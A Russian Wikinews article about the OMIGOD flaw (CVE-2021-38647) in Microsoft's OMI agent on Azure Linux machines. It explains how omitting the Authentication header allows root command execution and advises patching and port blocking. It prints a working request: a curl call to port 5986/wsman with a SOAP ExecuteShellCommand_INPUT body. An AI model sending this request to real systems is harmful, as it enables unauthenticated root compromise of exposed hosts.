Удалённо эксплуатируемая уязвимость в OMI-агенте, навязываемом в Linux-окружениях Microsoft Azure

17 сентября 2021 года

Клиенты облачной платформы Microsoft Azure, использующие Linux в виртуальных машинах, столкнулись с критической уязвимостью ( CVE-2021-38647), позволяющей удалённо выполнить код с правами root. Уязвимость получила кодовое имя OMIGOD и примечательна тем, что проблема присутствует в приложении OMI Agent, которое без лишней огласки устанавливается в Linux-окружения.

OMI Agent активируется при использовании таких сервисов, как Azure Automation, Azure Automatic Update, Azure Operations Management Suite, Azure Log Analytics, Azure Configuration Management и Azure Diagnostics. Например, атаке подвержены Linux-окружения в Azure для которых включён мониторинг. Агент является частью открытого пакета OMI (Open Management Infrastructure Agent) с реализацией стека DMTF CIM/WBEM для управления IT-инфраструктурой.

OMI Agent устанавливается в системе под пользователем omsagent и создаёт настройки в /etc/sudoers для запуска серии скриптов с правами root. В процессе работы создаются слушающие сетевые сокеты на сетевых портах 5985, 5986 и 1270. Сканирование в сервисе Shodan показывает наличие в сети более 15 тысяч уязвимых Linux-окружений. В настоящее время в открытом доступе уже размещён рабочий прототип эксплоита, позволяющий выполнить свой код с правами root на подобных системах.

Метод эксплуатации тривиален - достаточно отправить к агенту XML-запрос, удалив заголовок, отвечающий за аутентификацию. OMI использует аутентификацию при получении управляющих сообщений, проверяя, что клиент имеет право на отправку той или иной команды. Суть уязвимости в том, что при удалении в сообщении заголовка "Authentication", отвечающего за аутентификацию, сервер считает прохождение проверки успешной, принимает управляющее сообщение и допускает выполнение команд с правами root. Для выполнения произвольных команд в системе достаточно использовать в сообщении штатную команду ExecuteShellCommand_INPUT. Например, для запуска утилиты "id" достаточно отправить запрос:


curl -H "Content-Type: application/soap+xml;charset=UTF-8" -k --data-binary "@http_body.txt" https://10.0.0.5:5986/wsman

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">...

<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>

Компания Microsoft уже выпустила обновление OMI 1.6.8.1 с устранением уязвимости, но оно ещё не доведено до пользователей Microsoft Azure (в новых окружениях пока устанавливается старая версия OMI). Автообновление агента не поддерживается, поэтому пользователям необходимо выполнить обновление пакета вручную, используя команды "dpkg -l omi" в Debian/Ubuntu или "rpm -qa omi" в Fedora/RHEL. В качестве обходного пути защиты рекомендуется блокировать доступ к сетевым портам 5985, 5986 и 1270.

Источники править


 
 
Creative Commons
Эта статья содержит материалы из статьи «Удалённо эксплуатируемая уязвимость в OMI-агенте, навязываемом в Linux-окружениях Microsoft Azure», опубликованной OpenNET и распространяющейся на условиях лицензии Creative Commons Attribution (CC BY) — указание автора, источник и лицензию.
 
Эта статья загружена автоматически ботом NewsBots и ещё не проверялась редакторами Викиновостей.
Любой участник может оформить статью: добавить иллюстрации, викифицировать, заполнить шаблоны и добавить категории.
Любой редактор может снять этот шаблон после оформления и проверки.

Комментарии

Викиновости и Wikimedia Foundation не несут ответственности за любые материалы и точки зрения, находящиеся на странице и в разделе комментариев.